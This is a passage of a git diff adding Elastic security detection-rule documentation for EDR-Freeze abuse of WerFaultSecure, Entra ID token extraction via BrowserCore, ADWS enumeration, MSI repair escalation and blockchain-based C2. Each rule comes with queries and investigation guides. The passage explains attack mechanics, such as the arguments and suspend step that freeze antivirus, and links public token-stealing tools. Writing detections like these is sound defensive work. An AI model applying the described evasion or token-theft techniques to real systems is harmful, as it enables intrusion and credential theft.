+*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html +* https://binarydefense.com/resources/blog/dont-freeze-me-out-bro-arc-labs-technical-analysis-of-edr-freeze +* https://www.bleepingcomputer.com/news/security/new-edr-freeze-tool-uses-windows-wer-to-suspend-security-software/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Aryu Zaw + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential EDR-Freeze via WerFaultSecure Abuse* + + +`WerFaultSecure.exe` is the Protected Process Light (PPL) variant of Windows Error Reporting, normally launched by the WER service hosted in `svchost.exe` to capture secure crash dumps of protected processes. Because it runs as a PPL and can read the memory of other protected processes, adversaries abuse it to dump or freeze security software. + +In the EDR-Freeze technique, an attacker starts `WerFaultSecure.exe` from their own process and directs it to dump a security process (for example `MsMpEng.exe`). `MiniDumpWriteDump` suspends every thread of the target while the dump is produced; the attacker then suspends `WerFaultSecure.exe` itself at that moment, leaving the EDR or antivirus frozen in a "coma" without ever terminating it, so traditional process-termination and tamper alerts never fire. + +This rule identifies `WerFaultSecure.exe` started by a parent other than the WER service with command-line arguments characteristic of a secure process memory dump (`/pid` and `/encfile`). Legitimate secure dumps are initiated by the WER service, so an abnormal parent process is the primary signal of abuse. + + +*Possible investigation steps* + + +- Identify the parent process via `process.parent.name`, `process.parent.executable`, and `process.parent.command_line`. Launches from shells, scripting engines, `rundll32.exe`, or unsigned binaries in user-writable paths are highly suspicious. +- Resolve the target process from the `/pid` argument value and determine whether it corresponds to a security product (EDR or antivirus such as `MsMpEng.exe`), `lsass.exe`, or another sensitive process. +- Review the full command line for the dump-type value (the public proof of concept uses `/type 268310`, a full dump) and for the `/cancel` event handle, which together with `/encfile` indicate a full secure memory dump. +- Look for a ProcessAccess event (Sysmon Event ID 10) or an Elastic Defend API event in which `WerFaultSecure.exe` is opened with `PROCESS_SUSPEND_RESUME` (access mask `0x800` / `2048`) by a non-WER process shortly after this execution. This is the act that freezes the dumper and keeps the target suspended. +- Check whether the targeted security agent stopped reporting telemetry (a heartbeat gap) around the time of the alert. +- Examine the parent process for prevalence, code signature, on-disk location, and any preceding download, injection, or privilege-escalation activity. +- Review activity for the user and host over the preceding 24-48 hours for related defense-evasion, credential-access, or lateral-movement behavior. + + +*False positive analysis* + + +- This activity is highly unusual: secure WER dumps are normally initiated by the WER service in `svchost.exe`, not by interactive or third-party processes, so benign matches are rare. +- Specialized crash-analysis, debugging, or enterprise diagnostics tooling could invoke `WerFaultSecure.exe` directly. If such a tool is confirmed and authorized, add an exception scoped to its `process.parent.executable` and code signature. + + +*Response and remediation* + + +- Isolate the affected host to prevent further post-compromise activity while the EDR or antivirus may be suspended. +- Verify the state of the targeted security agent and restart or resume it, then confirm that protection and telemetry have been restored. +- Terminate the suspicious `WerFaultSecure.exe` process and its parent, preserving command lines, handles, and any dump files for analysis. +- Investigate the parent process and its origin to determine the initial access vector and scope of compromise, and search the environment for the same parent binary or behavior on other hosts. +- Reset credentials that may have been exposed while the security agent was disabled, and run a full scan once protection is restored. +- Escalate to incident response when the targeted process is a security control, as a successful freeze indicates a hands-on-keyboard defense-evasion attempt. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : "?:\\Windows\\System32\\WerFaultSecure.exe" and + + /* WerFaultSecure secure dumps are normally initiated by the WER service hosted in svchost.exe */ + process.parent.executable != null and + not process.parent.executable : ("?:\\Windows\\System32\\svchost.exe", "?:\\Windows\\System32\\wermgr.exe", "?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\System32\\WerFaultSecure.exe") and + + /* arguments used to take a secure memory dump of a target process (e.g. /pid /encfile /type 268310) */ + process.args : "/pid" and process.args : "/encfile" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-entra-id-prt-extraction-via-browsercore.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-entra-id-prt-extraction-via-browsercore.asciidoc new file mode 100644 index 0000000000..5d3efd4c8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-entra-id-prt-extraction-via-browsercore.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-potential-entra-id-prt-extraction-via-browsercore]] +=== Potential Entra ID PRT Extraction via BrowserCore + +Identifies anomalous execution of BrowserCore.exe, the Windows component used by Chromium-based browsers for native messaging with the Web Account Manager (WAM). Adversaries abuse BrowserCore to extract Entra ID Primary Refresh Tokens (PRTs) without interactive browser context, enabling session hijacking. Legitimate BrowserCore launches carry a chrome-extension:// argument from the browser native-messaging host. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.armadin.com/blog-posts/prtremote-extract-prt-cookies-remotely-with-interactivetoken-scheduled-task +* https://github.com/dmcxblue/ANIMO/blob/master/helpers/scripts/GrabTokenAzureAD/PrtExtractor.cs +* https://attack.mitre.org/techniques/T1528/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Platform: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Rule Type: ES|QL +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Entra ID PRT Extraction via BrowserCore* + + +BrowserCore.exe is the Chromium native-messaging helper that brokers Web Account Manager (WAM) / Entra ID token +operations for Edge and Chrome. Tools such as PRTRemote and PrtExtractor invoke it outside the browser's +native-messaging context to obtain Primary Refresh Tokens (PRTs). + + +*Possible investigation steps* + + +- Is BrowserCore running from a non-canonical path or with a mismatched original filename? + - Focus: `process.executable`, `process.name`, `process.pe.original_file_name`, `process.hash.sha256`, and signer fields. + - Implication: escalate when the PE original name is BrowserCore.exe but the path is outside + `C:\Windows\BrowserCore\`, or when the binary is recently dropped/renamed. + +- Does the command line lack the browser native-messaging extension URI? + - Focus: `process.command_line`, `process.parent.name`, `process.parent.executable`, `process.parent.command_line`. + - Hint: legitimate launches include `chrome-extension://`. Abuse often omits that URI and may be launched by Task + Scheduler, scripts, or remote tools. + - Implication: escalate when `chrome-extension://` is absent and the parent is `svchost.exe` (task), `powershell.exe`, + `wscript.exe`, or another unexpected launcher. + +- Was there related token theft or Entra ID activity around the same time? + - Focus: related alerts for `user.id` / `host.id` covering credential access, unusual logons, or cloud session abuse. + - Implication: broaden scope when PRT extraction coincides with suspicious Azure/Entra sign-ins or cookie theft. + + +*False positive analysis* + + +- Legitimate browser SSO and account linking launch BrowserCore with a `chrome-extension://` argument and should not + match pivot 2. Rare custom helpers that invoke BrowserCore without that URI may need exceptions scoped to + `process.executable`, `process.parent.executable`, `user.id`, and `host.id`. + + +*Response and remediation* + + +- If confirmed malicious, isolate the host, terminate the anomalous BrowserCore tree, and assume the user's Entra ID + PRT/session may be compromised: revoke refresh tokens / sign the user out of all sessions and rotate credentials. +- Hunt for the same `process.command_line` pattern, scheduled tasks, or scripts that invoke BrowserCore across the estate. +- Remove persistence (scheduled tasks, scripts) that launched BrowserCore outside the browser native-messaging flow. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, logs-system.security-*, logs-windows.*, winlogbeat-*, logs-crowdstrike.fdr*, logs-sentinel_one_cloud_funnel.*, logs-m365_defender.event-* metadata _id, _version, _index +| where KQL(""" event.category : "process" and event.type : "start" and host.os.type : "windows" """) and + to_lower(process.name) == "browsercore.exe" and process.parent.name is not null and process.command_line is not null and + not to_lower(process.command_line) like "*chrome-extension://*" +| keep + @timestamp, + _id, + _version, + _index, + data_stream.namespace, + host.id, + host.name, + user.name, + user.id, + process.entity_id, + process.name, + process.executable, + process.command_line, + process.pe.original_file_name, + process.parent.name, + process.parent.executable, + process.parent.command_line + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-enumeration-via-active-directory-web-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-enumeration-via-active-directory-web-service.asciidoc new file mode 100644 index 0000000000..539d9a0f88 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-enumeration-via-active-directory-web-service.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-potential-enumeration-via-active-directory-web-service]] +=== Potential Enumeration via Active Directory Web Service + +Identifies processes loading Active Directory related modules followed by a network connection to the ADWS dedicated TCP port. Adversaries may abuse the ADWS Windows service that allows Active Directory to be queried via this web service. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/FalconForceTeam/SOAPHound + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Enumeration via Active Directory Web Service* + + +Active Directory Web Service (ADWS) facilitates querying Active Directory (AD) over a network, providing a web-based interface for directory services. Adversaries may exploit ADWS to enumerate network resources and user accounts, gaining insights into the environment. The detection rule identifies suspicious activity by monitoring processes that load AD-related modules and establish network connections to the ADWS port, indicating potential unauthorized enumeration attempts. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the specific process that triggered the alert and gather details such as the process name, executable path, and user context. +- Examine the user ID associated with the process to determine if it belongs to a legitimate user or service account, and verify if the user has a history of accessing Active Directory resources. +- Investigate the network connection details, focusing on the destination IP address and port 9389, to identify the target server and assess if it is a legitimate Active Directory Web Service endpoint. +- Check for any recent changes or unusual activity on the host machine, such as new software installations or configuration changes, that could explain the loading of Active Directory-related modules. +- Correlate the alert with other security events or logs from the same timeframe to identify any patterns or additional suspicious activities that might indicate a broader attack or reconnaissance effort. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts may load Active Directory-related modules and connect to the ADWS port. To handle this, create exceptions for known administrative processes that regularly perform these actions. +- Scheduled tasks or automated scripts running under service accounts might trigger the rule. Identify these tasks and exclude their associated user IDs or process paths from the detection rule. +- Security or monitoring software that queries Active Directory for legitimate purposes can cause false positives. Review and whitelist these applications by adding their executable paths to the exclusion list. +- Development or testing environments where developers frequently interact with Active Directory services may generate alerts. Consider excluding specific user IDs or process paths associated with these environments to reduce noise. +- Ensure that any exceptions or exclusions are regularly reviewed and updated to reflect changes in the environment or administrative practices. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert that are loading Active Directory-related modules and making network connections to the ADWS port. +- Conduct a thorough review of the affected system's user accounts and permissions to identify any unauthorized changes or access. +- Reset credentials for any accounts that were potentially compromised or used in the suspicious activity. +- Implement network segmentation to limit access to the ADWS port (9389) to only trusted systems and users. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar enumeration attempts in the future, focusing on unusual process behavior and network connections to critical services. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=3m + [library where host.os.type == "windows" and + dll.name : ("System.DirectoryServices*.dll", "System.IdentityModel*.dll") and + not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not process.executable : + ("?:\\windows\\system32\\dsac.exe", + "?:\\program files\\powershell\\?\\pwsh.exe", + "?:\\windows\\system32\\windowspowershell\\*.exe", + "?:\\windows\\syswow64\\windowspowershell\\*.exe", + "?:\\program files\\microsoft monitoring agent\\*.exe", + "?:\\windows\\adws\\microsoft.activedirectory.webservices.exe")] + [network where host.os.type == "windows" and destination.port == 9389 and source.port >= 49152 and + network.direction == "egress" and network.transport == "tcp" and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-escalation-via-vulnerable-msi-repair.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-escalation-via-vulnerable-msi-repair.asciidoc new file mode 100644 index 0000000000..5cfdd01b99 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-escalation-via-vulnerable-msi-repair.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-potential-escalation-via-vulnerable-msi-repair]] +=== Potential Escalation via Vulnerable MSI Repair + +Identifies when a browser process navigates to the Microsoft Help page followed by spawning an elevated process. This may indicate a successful exploitation for privilege escalation abusing a vulnerable Windows Installer repair setup. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* endgame-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sec-consult.com/blog/detail/msi-installer-repair-to-system-a-detailed-journey/ +* https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-38014 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Escalation via Vulnerable MSI Repair* + + +*Possible investigation steps* + + +- What did the elevated browser parent launch? + - Why: MSI repair abuse can expose a SYSTEM browser through a help-link redirect; a non-browser child marks the privilege-escalation boundary. + - Focus: `process.parent.command_line`, `process.name`, `process.executable`, `process.command_line`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when a Microsoft Help-tied browser launches a SYSTEM or high-integrity shell, script host, installer, admin utility, file manager, or user-writable binary; lower concern only when the command line shows a browser-internal role, path and signer match the parent browser family, and no non-browser child appears in the alert window. +- Does the lineage fit an MSI repair-to-help-link path? + - Focus: `process.parent.entity_id`, `process.parent.pid`, surrounding `process.name`, and `process.command_line`. + - Implication: escalate when ancestry or surrounding starts show MSI repair, installer custom actions, console activity, or an unexpected SYSTEM browser before the child; lower concern when the chain stays inside browser self-maintenance without repair, console, or custom-action ancestry. + - Hint: recover the parent browser event first. If parentage is incomplete, inspect `process.Ext.ancestry`; if entity IDs are absent, use `host.id`, `process.parent.pid`, and a tight alert window. !{investigate{"description":"","label":"SYSTEM browser parent process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} +- Is the child process identity expected for the host and signer? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.Ext.relative_file_creation_time`. + - Implication: escalate when the child runs from a user-writable or temporary path, has a mismatched original file name, lacks a trusted signer, or was recently created; lower concern only when signer, path, age, and browser parent context all fit the same recognized component. +- What follow-on process activity came from the same SYSTEM browser or spawned child? + - Focus: same-host starts from the browser `process.parent.entity_id` or child `process.entity_id`: `process.name`, `process.command_line`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when the browser or child launches shells, scripts, persistence or administration tools, additional installers, or chained SYSTEM processes; keep scope local when activity stops at browser helpers with no privileged child chain. + - Hint: prefer `host.id` plus parent or child `process.entity_id`; use `host.id`, `process.pid`, and a tight window only when entity IDs are absent. + - !{investigate{"description":"","label":"Process starts from the SYSTEM browser parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process starts from the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} +- Does the user and session context support interactive exploitation? + - Focus: `user.id`, `user.name`, `user.domain`, `process.Ext.authentication_id`, and `process.Ext.session_info.logon_type`. + - Implication: escalate when a low-privileged or unexpected interactive session is tied to the SYSTEM browser-to-child chain; a pre-existing user browser usually breaks the SYSTEM child path, so a SYSTEM or high-integrity child tied to an interactive session is severity-changing. Lower concern only when process evidence maps to controlled repair validation or browser-helper behavior. +- Does process telemetry show the same SYSTEM-browser-to-tool pattern beyond this process instance? + - Focus: same `process.parent.command_line` redirect fragment, suspicious `process.name` or `process.executable`, `user.id`, and `host.id` across recent starts. + - Implication: broaden when recent starts show the same non-browser child pattern across unrelated hosts or users; keep response scoped when telemetry shows only this browser parent, child command line, and no repeated non-browser descendants. + - Hint: run this pivot only if child intent, lineage, or session context remains suspicious or unresolved. !{investigate{"description":"","label":"Recent process starts with the same child executable","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Based on the evidence gathered, what disposition is supported? + - Escalate on SYSTEM or high-integrity browser-to-tool execution, MSI repair lineage, suspicious child identity, interactive session linkage, or repeated scope; close only for same-browser helper behavior with no non-browser descendants or an authorized test whose process facts exactly match scope. Preserve evidence and escalate when child intent, lineage, or session context is mixed or incomplete. + + +*False positive analysis* + + +- Browser helper, renderer, GPU, updater, or crash subprocesses can trigger after a SYSTEM browser opens a Microsoft Help link. Confirm a browser-internal role, same browser family, installed-browser path and signer, and no shell, installer, file manager, or admin tool from the same parent. +- Authorized MSI repair security validation is benign only when `@timestamp`, `host.id`, `user.id`, the SYSTEM browser parent command line, and child command line match the exact exercise; outside records may corroborate but not replace process facts. +- Build exceptions from the minimum confirmed workflow: browser family and signer, exact redirect parent context, expected child executable or command pattern, `host.id`, and tightly scoped test or managed-repair cohort. Avoid exceptions on `user.domain`, browser name, or redirect URL alone. + + +*Response and remediation* + + +- If confirmed benign, document the process evidence that proved the browser-helper or validation workflow, reverse any temporary containment, and create only the narrow exception described above if the same workflow recurs. +- If suspicious but unconfirmed, preserve the alert and Timeline/export records for the browser parent, child, ancestor chain, host, and user. Record command lines, `process.entity_id`, `process.parent.entity_id`, `host.id`, `user.id`, and any visible MSI package or vulnerable-application names before containment or process termination. +- Apply reversible containment first when findings remain suspicious: isolate the host if its business role allows, or restrict the affected account/session while preserving endpoint telemetry. Do not terminate the child process until its command line, parentage, and spawned descendants are recorded. +- If confirmed malicious, contain the host and affected account based on the process lineage and session evidence, then terminate the malicious child and descendants after recording their identifiers. Remove only the payloads, repair artifacts, or configuration changes identified during the investigation. +- Patch Windows Installer and the vulnerable application package involved in the repair path, verify that the affected OS has the relevant vendor security update for CVE-2024-38014, and repackage or disable repair flows that let low-privileged users reach elevated custom actions, console windows, or help-link execution. +- Document the final evidence set, repair path, affected hosts, and any missing telemetry that limited certainty so future alerts can distinguish browser helper noise, authorized validation, and repeated exploitation. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type == "windows" and + user.domain : ("NT AUTHORITY", "AUTORITE NT", "AUTORIDADE NT") and + process.parent.name : ("chrome.exe", "msedge.exe", "brave.exe", "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", + "opera.exe", "iexplore", "firefox.exe", "waterfox.exe", "iexplore.exe", "tor.exe", "safari.exe") and + process.parent.command_line : "*go.microsoft.com*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-blockchain-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-blockchain-connection.asciidoc new file mode 100644 index 0000000000..4f5c163943 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-blockchain-connection.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-potential-etherhiding-c2-via-blockchain-connection]] +=== Potential Etherhiding C2 via Blockchain Connection + +Detects when a scripting interpreter makes an outbound network connection to an Ethereum blockchain endpoint for command and control purposes. Adversaries may leverage Ethereum blockchain infrastructure as a covert C2 channel to receive commands and exfiltrate data, as observed in campaigns like SleepyDuck malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://secureannex.com/blog/sleepyduck-malware/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Etherhiding C2 via Blockchain Connection* + + +Etherhiding is an advanced command and control technique where threat actors store malicious configurations, commands, or payload URLs within blockchain transactions on platforms like Ethereum or Binance Smart Chain. This approach provides a highly resilient and censorship-resistant C2 infrastructure since blockchain data cannot be taken down or modified. This detection rule identifies script interpreters or suspicious processes connecting to blockchain API endpoints that may be retrieving attacker-controlled data from the blockchain. + + +*Possible investigation steps* + + +- Review the process.name and process.executable fields to identify which application is making blockchain API requests and assess whether cryptocurrency or Web3 functionality is expected on this system. +- Examine the destination.domain and dns.question.name fields to identify the specific blockchain API endpoint being queried, such as Infura, Alchemy, or public RPC endpoints. +- Analyze the process.command_line and process.args to understand what code or script is executing and look for hardcoded contract addresses or wallet addresses that may be querying blockchain data. +- Investigate the process.parent.executable and parent process chain to determine how the blockchain-querying process was launched and identify the initial execution vector. +- Review network connection payloads if available to identify the specific blockchain queries being made and extract any contract addresses or transaction hashes being queried. +- Search threat intelligence sources for the identified contract addresses or wallet addresses to determine if they are associated with known malicious campaigns. +- Correlate with file modification events on the same host to identify if the blockchain data is being written to disk or used to configure malware. + + +*False positive analysis* + + +- Cryptocurrency wallet applications and browser extensions legitimately access blockchain APIs to display balances and transaction history. Verify if the user has approved cryptocurrency applications. +- Web3 developers and blockchain application developers may use blockchain APIs during development and testing. Confirm with development teams if such activities are expected. +- Decentralized application (dApp) browsers and related tools access blockchain data as part of normal operations. Verify if these tools are sanctioned for business use. +- NFT marketplaces and related applications may query blockchain data for asset verification. Confirm if such applications are approved. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further C2 communication or payload retrieval. +- Terminate the suspicious process making blockchain API connections and prevent it from restarting. +- Extract and 